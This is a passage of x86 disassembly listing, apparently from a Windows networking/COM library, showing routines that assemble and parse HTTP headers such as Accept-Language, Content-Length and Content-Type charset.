loc_69B7C472: ; CODE XREF: sub_69B7C40C+5Fj
call SysAllocString
cmp eax, edi
mov [esi], eax
jnz short loc_69B7C48F
mov esi, 8007000Eh
jmp short loc_69B7C48A
; ---------------------------------------------------------------------------
loc_69B7C485: ; CODE XREF: sub_69B7C40C+1Aj
; sub_69B7C40C+21j ...
mov esi, 80070057h
loc_69B7C48A: ; CODE XREF: sub_69B7C40C+50j
; sub_69B7C40C+77j
mov [ebp+var_8], esi
jmp short loc_69B7C492
; ---------------------------------------------------------------------------
loc_69B7C48F: ; CODE XREF: sub_69B7C40C+70j
mov esi, [ebp+var_C]
loc_69B7C492: ; CODE XREF: sub_69B7C40C+81j
push [ebp+var_8]
mov ecx, ebx
push esi
call sub_69B7B3C8
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 0Ch
sub_69B7C40C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7C4A6 proc near ; CODE XREF: sub_69B7D68D+169p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, ecx
push esi
xor ecx, ecx
lea esi, [ebx+0BCh]
cmp [esi], ecx
push edi
mov [ebp+var_4], ecx
mov [ebp+var_8], ecx
jz short loc_69B7C4E6
lea edi, [ebx+0C0h]
mov eax, [edi]
cmp eax, ecx
jz short loc_69B7C4D4
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7C4D4: ; CODE XREF: sub_69B7C4A6+26j
mov eax, [esi]
and dword ptr [edi], 0
test eax, eax
jz short loc_69B7C4E3
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7C4E3: ; CODE XREF: sub_69B7C4A6+35j
and dword ptr [esi], 0
loc_69B7C4E6: ; CODE XREF: sub_69B7C4A6+1Aj
push esi
push offset stru_69B25E34
call sub_69B3D099
mov edi, eax
test edi, edi
jl loc_69B7C5C3
mov dl, [ebx+0B2h]
mov eax, [esi]
mov ecx, [eax]
neg dl
sbb edx, edx
push edx
push eax
call dword ptr [ecx+0FCh]
mov edi, eax
test edi, edi
jl loc_69B7C5C3
mov eax, [esi]
mov ecx, [eax]
push 0
push eax
call dword ptr [ecx+110h]
mov edi, eax
test edi, edi
jl loc_69B7C5C3
mov eax, [esi]
mov ecx, [eax]
push 0
push eax
call dword ptr [ecx+118h]
mov edi, eax
test edi, edi
jl short loc_69B7C5C3
mov eax, [esi]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B0C0
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7C5C3
mov ecx, [ebx+10h]
test ecx, ecx
jz short loc_69B7C569
call sub_69B88114
jmp short loc_69B7C56B
; ---------------------------------------------------------------------------
loc_69B7C569: ; CODE XREF: sub_69B7C4A6+BAj
xor eax, eax
loc_69B7C56B: ; CODE XREF: sub_69B7C4A6+C1j
mov ecx, [ebp+var_4]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx+0Ch]
mov edi, eax
test edi, edi
jl short loc_69B7C5C3
mov eax, [esi]
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push offset dword_69B2B110
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B7C5C3
mov eax, [ebx+1Ch]
mov ecx, [ebp+var_8]
mov edx, [ecx]
push eax
push eax
push offset stru_69B1CA6C
push ecx
call dword ptr [edx+10h]
mov edi, eax
test edi, edi
jl short loc_69B7C5C3
mov eax, [esi]
mov ecx, [eax]
lea edx, [ebx+0C0h]
push edx
push offset stru_69B25E84
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jge short loc_69B7C5E7
loc_69B7C5C3: ; CODE XREF: sub_69B7C4A6+4Fj
; sub_69B7C4A6+6Fj ...
add ebx, 0C0h
mov eax, [ebx]
test eax, eax
jz short loc_69B7C5D5
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7C5D5: ; CODE XREF: sub_69B7C4A6+127j
mov eax, [esi]
and dword ptr [ebx], 0
test eax, eax
jz short loc_69B7C5E4
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7C5E4: ; CODE XREF: sub_69B7C4A6+136j
and dword ptr [esi], 0
loc_69B7C5E7: ; CODE XREF: sub_69B7C4A6+11Bj
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7C5F4
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7C5F4: ; CODE XREF: sub_69B7C4A6+146j
mov eax, [ebp+var_8]
and [ebp+var_4], 0
test eax, eax
jz short loc_69B7C605
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7C605: ; CODE XREF: sub_69B7C4A6+157j
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_69B7C4A6 endp
; =============== S U B R O U T I N E =======================================
sub_69B7C60C proc near ; DATA XREF: .text:69B2A61Co
push 470h
push offset dword_69B7C890
call sub_69B19C5C
mov eax, dword_69B92170
xor eax, [ebp+4]
mov [ebp-1Ch], eax
call dword_69B92948
mov [ebp-20h], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B7C63F
mov eax, 80004005h
jmp loc_69B7C84F
; ---------------------------------------------------------------------------
loc_69B7C63F: ; CODE XREF: sub_69B7C60C+27j
push edi
push eax
lea ecx, [ebp-2Ch]
call sub_69B1A8C7
mov [ebp-30h], edi
mov [ebp-34h], edi
push edi
lea ecx, [ebp-4Ch]
call sub_69B7BF52
mov dword ptr [ebp-50h], 1
mov eax, [ebp+18h]
mov [eax], edi
mov ebx, [ebp+8]
mov esi, [ebx+3Ch]
cmp esi, edi
jz loc_69B7C81F
mov edi, [esi+0Ch]
push 0FFFFFFFFh ; int
push offset aAcceptLanguage ; "Accept-Language"
call sub_69B2EDFA
push eax
mov ecx, esi
call sub_69B1980A
test eax, eax
jnz short loc_69B7C6A3
push offset aAcceptLanguage ; "Accept-Language"
lea ecx, [ebp-4Ch]
call sub_69B7C1E2
test al, al
jnz short loc_69B7C6A3
and dword ptr [ebp-50h], 0
inc edi
loc_69B7C6A3: ; CODE XREF: sub_69B7C60C+7Fj
; sub_69B7C60C+90j
test edi, edi
jz loc_69B7C81F
and dword ptr [ebp-4], 0
shl edi, 5
push edi
call sub_69B88D8C
mov esi, eax
mov [ebp-54h], esi
push dword ptr [ebp+10h] ; lpString
lea ecx, [ebp-4Ch]
call sub_69B7B446
cmp dword ptr [ebp-50h], 0
jnz short loc_69B7C71C
mov dword ptr [ebp-58h], 200h
lea eax, [ebp-58h]
push eax
lea eax, [ebp-458h]
push eax
call ds:GetAcceptLanguagesW ; GetAcceptLanguagesW
test eax, eax
jl short loc_69B7C71C
push offset aAcceptLanguage ; "Accept-Language"
mov ecx, esi
call sub_69B88E04
push offset asc_69B7C884 ; ": "
mov ecx, esi
call sub_69B88E04
lea eax, [ebp-458h]
push eax ; lpString
mov ecx, esi
call sub_69B88E04
push offset asc_69B2778C ; "\r\n"
mov ecx, esi
call sub_69B88E04
loc_69B7C71C: ; CODE XREF: sub_69B7C60C+C0j
; sub_69B7C60C+DCj
mov eax, [ebx+3Ch]
mov [ebp-45Ch], eax
push 0
push eax
call sub_69B3156E
mov [ebp-460h], eax
loc_69B7C733: ; CODE XREF: sub_69B7C60C+15Bj
; sub_69B7C60C+19Fj
mov edi, [ebp-460h]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+38h]
test al, al
jz short loc_69B7C7AD
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+40h]
mov edi, eax
mov [ebp-464h], edi
mov eax, [edi+0Ch]
mov [ebp-468h], eax
push eax ; lpString
lea ecx, [ebp-4Ch]
call sub_69B7C1E2
test al, al
jnz short loc_69B7C733
mov ecx, [ebx+3Ch]
mov [ebp-46Ch], ecx
push edi
call sub_69B1980A
mov [ebp-470h], eax
push edi
mov ecx, esi
call sub_69B88EA5
push offset asc_69B7C884 ; ": "
mov ecx, esi
call sub_69B88E04
push dword ptr [ebp-470h]
mov ecx, esi
call sub_69B88EA5
push offset asc_69B2778C ; "\r\n"
mov ecx, esi
call sub_69B88E04
jmp short loc_69B7C733
; ---------------------------------------------------------------------------
loc_69B7C7AD: ; CODE XREF: sub_69B7C60C+136j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+2Ch]
mov esi, eax
mov [ebp-474h], esi
mov eax, [esi+8]
mov [ebp-478h], eax
lea edi, [eax+eax+2]
mov [ebp-47Ch], edi
push edi ; cb
call ds:CoTaskMemAlloc
mov ecx, [ebp+18h]
mov [ecx], eax
test eax, eax
jz short loc_69B7C7F0
mov ecx, [esi+0Ch]
mov [ebp-480h], ecx
push ecx
push edi
push eax
call sub_69B7B48A
loc_69B7C7F0: ; CODE XREF: sub_69B7C60C+1D1j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+30h]
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B7C81F
; ---------------------------------------------------------------------------
loc_69B7C7FD: ; DATA XREF: .text:69B7C894o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7C806: ; DATA XREF: .text:69B7C898o
mov esp, [ebp-18h]
call sub_69B2E808
mov ecx, eax
call sub_69B2E804
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
mov ebx, [ebp+8]
loc_69B7C81F: ; CODE XREF: sub_69B7C60C+60j
; sub_69B7C60C+99j ...
push dword ptr [ebp-34h]
push dword ptr [ebp-30h]
lea ecx, [ebx-28h]
call sub_69B7B3C8
lea ecx, [ebp-4Ch]
call sub_69B7BF80
lea ecx, [ebp-2Ch]
call sub_69B1976C
cmp dword ptr [ebp-20h], 0
jz short loc_69B7C84C
push dword ptr [ebp-20h]
call dword_69B92944
loc_69B7C84C: ; CODE XREF: sub_69B7C60C+235j
mov eax, [ebp-30h]
loc_69B7C84F: ; CODE XREF: sub_69B7C60C+2Ej
mov ecx, [ebp-1Ch]
xor ecx, [ebp+4]
call sub_69B1B9F6
call sub_69B1853C
retn 14h
sub_69B7C60C endp
; ---------------------------------------------------------------------------
align 4
; const WCHAR aAcceptLanguage
aAcceptLanguage: ; DATA XREF: sub_69B7C60C+6Bo
; sub_69B7C60C+81o ...
unicode 0, <Accept-Language>,0
; const WCHAR asc_69B7C884
asc_69B7C884: ; DATA XREF: sub_69B7C60C+EAo
; sub_69B7C60C+17Ao
unicode 0, <: >,0
align 10h
dword_69B7C890 dd 0FFFFFFFFh dd offset loc_69B7C7FD
dd offset loc_69B7C806
; =============== S U B R O U T I N E =======================================
sub_69B7C89C proc near ; DATA XREF: .text:69B2A620o
push 44h
push offset dword_69B7CB48
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor esi, esi
cmp eax, esi
jnz short loc_69B7C8C1
mov eax, 80004005h
jmp loc_69B7CB0D
; ---------------------------------------------------------------------------
loc_69B7C8C1: ; CODE XREF: sub_69B7C89C+19j
push esi
push eax
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-2Ch], esi
mov [ebp-30h], esi
mov [ebp-34h], esi
push 3
pop eax
mov edi, [ebp+8]
cmp [edi+14h], eax
jge short loc_69B7C8E2
mov [edi+14h], eax
loc_69B7C8E2: ; CODE XREF: sub_69B7C89C+41j
mov [ebp-4], esi
lea ebx, [edi+40h]
push dword ptr [ebp+10h] ; lpString
mov ecx, ebx
call sub_69B7B446
mov eax, [ebp+0Ch]
mov [edi+2Ch], eax
lea eax, [ebp-30h]
push eax ; int
push offset aContentLength ; "Content-Length"
mov ecx, ebx
call sub_69B7C181
test al, al
jz short loc_69B7C945
mov eax, [ebp-30h]
cmp eax, esi
jz short loc_69B7C945
cmp [eax], si
jz short loc_69B7C945
push eax ; lpSrc
call ds:StrToIntW ; StrToIntW
mov [ebp-38h], eax
cmp eax, esi
jg short loc_69B7C928
xor eax, eax
loc_69B7C928: ; CODE XREF: sub_69B7C89C+88j
mov [edi+7Ch], eax
cmp eax, esi
jz short loc_69B7C945
mov [ebp-3Ch], eax
push eax
call sub_69B11E44
mov [ebp-40h], eax
mov [edi+78h], eax
cmp eax, esi
jnz short loc_69B7C945
mov [edi+7Ch], esi
loc_69B7C945: ; CODE XREF: sub_69B7C89C+6Ej
; sub_69B7C89C+75j ...
lea eax, [ebp-2Ch]
push eax ; int
push offset aContentType ; "Content-Type"
mov ecx, ebx
call sub_69B7C181
test al, al
jz loc_69B7CAC7
mov ebx, [ebp-2Ch]
cmp ebx, esi
jz loc_69B7CAC7
cmp [ebx], si
jz loc_69B7CAC7
mov esi, ebx
loc_69B7C973: ; CODE XREF: sub_69B7C89C+EAj
mov [ebp-44h], esi
mov ax, [esi]
test ax, ax
jz short loc_69B7C988
cmp ax, 3Bh
jz short loc_69B7C988
inc esi
inc esi
jmp short loc_69B7C973
; ---------------------------------------------------------------------------
loc_69B7C988: ; CODE XREF: sub_69B7C89C+E0j
; sub_69B7C89C+E6j
mov eax, esi
sub eax, ebx
sar eax, 1
mov [ebp-48h], eax
push 8 ; nChar
push offset aTextXml_0 ; "text/xml"
push ebx ; lpStr1
call ds:StrCmpNIW ; StrCmpNIW
test eax, eax
jz short loc_69B7C9B5
push 0Fh ; nChar
push offset aApplicationXml ; "application/xml"
push ebx ; lpStr1
call ds:StrCmpNIW ; StrCmpNIW
test eax, eax
jnz short loc_69B7C9BC
loc_69B7C9B5: ; CODE XREF: sub_69B7C89C+105j
mov byte ptr [edi+89h], 1
loc_69B7C9BC: ; CODE XREF: sub_69B7C89C+117j
; sub_69B7C89C+139j
mov ax, [esi]
test ax, ax
jz short loc_69B7C9D7
cmp ax, 20h
jz short loc_69B7C9D0
cmp ax, 3Bh
jnz short loc_69B7C9D7
loc_69B7C9D0: ; CODE XREF: sub_69B7C89C+12Cj
inc esi
inc esi
mov [ebp-44h], esi
jmp short loc_69B7C9BC
; ---------------------------------------------------------------------------
loc_69B7C9D7: ; CODE XREF: sub_69B7C89C+126j
; sub_69B7C89C+132j ...
cmp word ptr [esi], 0
jz loc_69B7CAC5
cmp dword ptr [edi+84h], 0
jnz loc_69B7CAC5
mov [ebp-4Ch], esi
and dword ptr [ebp-50h], 0
loc_69B7C9F5: ; CODE XREF: sub_69B7C89C+16Cj
mov ax, [esi]
test ax, ax
jz short loc_69B7CA0A
cmp ax, 3Dh
jz short loc_69B7CA0A
inc esi
inc esi
mov [ebp-44h], esi
jmp short loc_69B7C9F5
; ---------------------------------------------------------------------------
loc_69B7CA0A: ; CODE XREF: sub_69B7C89C+15Fj
; sub_69B7C89C+165j
mov eax, esi
sub eax, [ebp-4Ch]
sar eax, 1
mov [ebp-48h], eax
push 7 ; nChar
push offset aCharset ; "charset"
push dword ptr [ebp-4Ch] ; lpStr1
call ds:StrCmpNIW ; StrCmpNIW
test eax, eax
jnz short loc_69B7C9D7
cmp [esi], ax
jz loc_69B7CAC5
loc_69B7CA31: ; CODE XREF: sub_69B7C89C+1AEj
mov ax, [esi]
test ax, ax
jz short loc_69B7CA4C
cmp ax, 3Dh
jz short loc_69B7CA45
cmp ax, 22h
jnz short loc_69B7CA4C
loc_69B7CA45: ; CODE XREF: sub_69B7C89C+1A1j
inc esi
inc esi
mov [ebp-44h], esi
jmp short loc_69B7CA31
; ---------------------------------------------------------------------------
loc_69B7CA4C: ; CODE XREF: sub_69B7C89C+19Bj
; sub_69B7C89C+1A7j
mov [ebp-50h], esi
loc_69B7CA4F: ; CODE XREF: sub_69B7C89C+1D2j
mov ax, [esi]
test ax, ax
jz short loc_69B7CA70
cmp ax, 22h
jz short loc_69B7CA70
cmp ax, 3Bh
jz short loc_69B7CA70
cmp ax, 20h
jz short loc_69B7CA70
inc esi
inc esi
mov [ebp-44h], esi
jmp short loc_69B7CA4F
; ---------------------------------------------------------------------------
loc_69B7CA70: ; CODE XREF: sub_69B7C89C+1B9j
; sub_69B7C89C+1BFj ...
mov eax, esi
sub eax, [ebp-50h]
sar eax, 1
mov [ebp-48h], eax
lea ebx, [eax+eax]
lea eax, [ebx+2]
push eax
call sub_69B11E44
mov [ebp-54h], eax
mov [edi+84h], eax
test eax, eax
jz loc_69B7C9D7
mov ecx, ebx
mov esi, [ebp-50h]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [ebp+8]
mov eax, [eax+84h]
and word ptr [ebx+eax], 0
mov esi, [ebp-44h]
mov edi, [ebp+8]
jmp loc_69B7C9D7
; ---------------------------------------------------------------------------
loc_69B7CAC5: ; CODE XREF: sub_69B7C89C+13Fj
; sub_69B7C89C+14Cj ...
xor esi, esi
loc_69B7CAC7: ; CODE XREF: sub_69B7C89C+BBj
; sub_69B7C89C+C6j ...
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B7CAF4
; ---------------------------------------------------------------------------
loc_69B7CACD: ; DATA XREF: .text:69B7CB4Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7CAD6: ; DATA XREF: .text:69B7CB50o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-34h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
xor esi, esi
loc_69B7CAF4: ; CODE XREF: sub_69B7C89C+22Fj
lea ecx, [ebp-28h]
call sub_69B1976C
cmp [ebp-1Ch], esi
jz short loc_69B7CB0A
push dword ptr [ebp-1Ch]
call dword_69B92944
loc_69B7CB0A: ; CODE XREF: sub_69B7C89C+263j
mov eax, [ebp-34h]
loc_69B7CB0D: ; CODE XREF: sub_69B7C89C+20j
call sub_69B1853C
retn 14h
sub_69B7C89C endp
; ---------------------------------------------------------------------------
align 4
; const WCHAR aCharset
aCharset: ; DATA XREF: sub_69B7C89C+17Ao
unicode 0, <charset>,0
; const WCHAR aApplicationXml
aApplicationXml: ; DATA XREF: sub_69B7C89C+109o
unicode 0, <application/xml>,0
dword_69B7CB48 dd 0FFFFFFFFh dd offset loc_69B7CACD
dd offset loc_69B7CAD6
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7CB54 proc near ; DATA XREF: .text:69B2A5E4o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
xor eax, eax
push edi
mov edi, [ebp+arg_8]
xor ebx, ebx
cmp edi, eax
mov [ebp+var_8], eax
mov [ebp+var_C], eax
mov [ebp+var_4], eax
mov [ebp+var_10], eax
jnz short loc_69B7CB7D
mov eax, 80070057h
jmp loc_69B7CC84
; ---------------------------------------------------------------------------
loc_69B7CB7D: ; CODE XREF: sub_69B7CB54+1Dj
push esi
mov esi, [ebp+arg_0]
mov [edi], eax
mov ecx, [esi-24h]
cmp ecx, eax
jz short loc_69B7CB8F
call sub_69B88114
loc_69B7CB8F: ; CODE XREF: sub_69B7CB54+34j
test eax, eax
jz loc_69B7CC34
mov ecx, [esi-24h]
test ecx, ecx
jz short loc_69B7CBA5
call sub_69B88114
jmp short loc_69B7CBA7
; ---------------------------------------------------------------------------
loc_69B7CBA5: ; CODE XREF: sub_69B7CB54+48j
xor eax, eax
loc_69B7CBA7: ; CODE XREF: sub_69B7CB54+4Fj
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push offset dword_69B2B170
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_69B7CBDF
mov eax, [ebp+var_8]
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
push eax
call dword ptr [ecx+14h]
mov ebx, eax
test ebx, ebx
jl short loc_69B7CC41
mov eax, [ebp+var_C]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B150
push eax
call dword ptr [ecx]
jmp short loc_69B7CC1A
; ---------------------------------------------------------------------------
loc_69B7CBDF: ; CODE XREF: sub_69B7CB54+63j
mov ecx, [esi-24h]
test ecx, ecx
jz short loc_69B7CBED
call sub_69B88114
jmp short loc_69B7CBEF
; ---------------------------------------------------------------------------
loc_69B7CBED: ; CODE XREF: sub_69B7CB54+90j
xor eax, eax
loc_69B7CBEF: ; CODE XREF: sub_69B7CB54+97j
mov ecx, [eax]
lea edx, [ebp+var_10]
push edx
push offset dword_69B2B040
push eax
call dword ptr [ecx]
mov ebx, eax
test ebx, ebx
jl short loc_69B7CC41
mov eax, [ebp+var_10]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B150
push offset dword_69B7CC8C
push eax
call dword ptr [ecx+0Ch]
loc_69B7CC1A: ; CODE XREF: sub_69B7CB54+89j
mov ebx, eax
test ebx, ebx
jl short loc_69B7CC41
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7CC34
mov ecx, [eax]
push edi
push eax
call dword ptr [ecx+0Ch]
mov ebx, eax
test ebx, ebx
jl short loc_69B7CC41
loc_69B7CC34: ; CODE XREF: sub_69B7CB54+3Dj
; sub_69B7CB54+D1j
cmp dword ptr [edi], 0
jnz short loc_69B7CC41
call GetActiveWindow ; GetActiveWindow
mov [edi], eax
loc_69B7CC41: ; CODE XREF: sub_69B7CB54+76j
; sub_69B7CB54+ADj ...
mov eax, [ebp+var_8]
test eax, eax
pop esi
jz short loc_69B7CC4F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7CC4F: ; CODE XREF: sub_69B7CB54+F3j
mov eax, [ebp+var_C]
and [ebp+var_8], 0
test eax, eax
jz short loc_69B7CC60
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7CC60: ; CODE XREF: sub_69B7CB54+104j
mov eax, [ebp+var_4]
and [ebp+var_C], 0
test eax, eax
jz short loc_69B7CC71
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7CC71: ; CODE XREF: sub_69B7CB54+115j
mov eax, [ebp+var_10]
and [ebp+var_4], 0
test eax, eax
jz short loc_69B7CC82
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7CC82: ; CODE XREF: sub_69B7CB54+126j
mov eax, ebx
loc_69B7CC84: ; CODE XREF: sub_69B7CB54+24j
pop edi
pop ebx
leave
retn 0Ch
sub_69B7CB54 endp
; ---------------------------------------------------------------------------
align 4
dword_69B7CC8C dd 4C96BE40h, 11CF915Ch, 0AA00D399h, 37E84A00h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7CC9C proc near ; DATA XREF: .text:69B2A5D4o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, [ebp+arg_C]
push esi
mov esi, [ebp+arg_4]
push edi
xor eax, eax
push 4
pop ecx
mov edi, offset dword_69B2AF90
xor edx, edx
mov [ebx], eax
repe cmpsd
mov [ebp+var_4], eax
jz short loc_69B7CD34
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B2AF80
xor edx, edx
repe cmpsd
jz short loc_69B7CD34
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B2AF60
xor edx, edx
repe cmpsd
jz short loc_69B7CD34
mov esi, [ebp+arg_0]
mov ecx, [esi-28h]
cmp ecx, eax
jz short loc_69B7CCEF
call sub_69B88114
loc_69B7CCEF: ; CODE XREF: sub_69B7CC9C+4Cj
test eax, eax
jz short loc_69B7CD2D
mov ecx, [esi-28h]
test ecx, ecx
jz short loc_69B7CD01
call sub_69B88114
jmp short loc_69B7CD03
; ---------------------------------------------------------------------------
loc_69B7CD01: ; CODE XREF: sub_69B7CC9C+5Cj
xor eax, eax
loc_69B7CD03: ; CODE XREF: sub_69B7CC9C+63j
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B040
push eax
call dword ptr [ecx]
mov esi, eax
test esi, esi
jl short loc_69B7CD45
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7CD52
mov ecx, [eax]
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call dword ptr [ecx+0Ch]
jmp short loc_69B7CD43
; ---------------------------------------------------------------------------
loc_69B7CD2D: ; CODE XREF: sub_69B7CC9C+55j
mov esi, 80004002h
jmp short loc_69B7CD45
; ---------------------------------------------------------------------------
loc_69B7CD34: ; CODE XREF: sub_69B7CC9C+20j
; sub_69B7CC9C+31j ...
mov eax, [ebp+arg_0]
push ebx
push [ebp+arg_8]
add eax, 0FFFFFFC8h
mov ecx, [eax]
push eax
call dword ptr [ecx]
loc_69B7CD43: ; CODE XREF: sub_69B7CC9C+8Fj
mov esi, eax
loc_69B7CD45: ; CODE XREF: sub_69B7CC9C+79j
; sub_69B7CC9C+96j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B7CD52
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7CD52: ; CODE XREF: sub_69B7CC9C+80j
; sub_69B7CC9C+AEj
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 10h
sub_69B7CC9C endp
; =============== S U B R O U T I N E =======================================
sub_69B7CD5B proc near ; DATA XREF: .text:69B14554o
push 20h
push offset dword_69B7CE10
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B7CD7E
mov eax, 80004005h
jmp loc_69B7CE02
; ---------------------------------------------------------------------------
loc_69B7CD7E: ; CODE XREF: sub_69B7CD5B+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-2Ch], eax
mov ecx, [eax]
sub esp, 10h
lea esi, [ebp+34h]
mov edi, esp
movsd
movsd
movsd
movsd
sub esp, 10h
lea esi, [ebp+24h]
mov edi, esp
movsd
movsd
movsd
movsd
sub esp, 10h
lea esi, [ebp+14h]
mov edi, esp
movsd
movsd
movsd
movsd
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+38h]
jmp short loc_69B7CDE7
; ---------------------------------------------------------------------------
loc_69B7CDC9: ; DATA XREF: .text:69B7CE14o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7CDD2: ; DATA XREF: .text:69B7CE18o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B7CDE7: ; CODE XREF: sub_69B7CD5B+6Cj
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B7CE02: ; CODE XREF: sub_69B7CD5B+1Ej
call sub_69B1853C
retn 3Ch
sub_69B7CD5B endp
; ---------------------------------------------------------------------------
align 10h
dword_69B7CE10 dd 0FFFFFFFFh dd offset loc_69B7CDC9
dd offset loc_69B7CDD2
; =============== S U B R O U T I N E =======================================
sub_69B7CE1C proc near ; DATA XREF: .text:69B14568o
push 20h
push offset dword_69B7CEA0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B7CE3C
mov eax, 80004005h
jmp short loc_69B7CE96
; ---------------------------------------------------------------------------
loc_69B7CE3C: ; CODE XREF: sub_69B7CE1C+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-2Ch], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+48h]
jmp short loc_69B7CE7B
; ---------------------------------------------------------------------------
loc_69B7CE5D: ; DATA XREF: .text:69B7CEA4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7CE66: ; DATA XREF: .text:69B7CEA8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B7CE7B: ; CODE XREF: sub_69B7CE1C+3Fj
mov [ebp-30h], eax
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B7CE96: ; CODE XREF: sub_69B7CE1C+1Ej
call sub_69B1853C
retn 4
sub_69B7CE1C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B7CEA0 dd 0FFFFFFFFh dd offset loc_69B7CE5D
dd offset loc_69B7CE66
; =============== S U B R O U T I N E =======================================
sub_69B7CEAC proc near ; DATA XREF: .text:69B14558o
push 20h
push offset dword_69B7CF38
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B7CECC
mov eax, 80004005h
jmp short loc_69B7CF2C
; ---------------------------------------------------------------------------
loc_69B7CECC: ; CODE XREF: sub_69B7CEAC+17j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-28h]
call sub_69B1B406
and dword ptr [ebp-4], 0
mov eax, [esi+18h]
mov [ebp-2Ch], eax
mov ecx, [eax]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+3Ch]
jmp short loc_69B7CF11
; ---------------------------------------------------------------------------
loc_69B7CEF3: ; DATA XREF: .text:69B7CF3Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7CEFC: ; DATA XREF: .text:69B7CF40o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
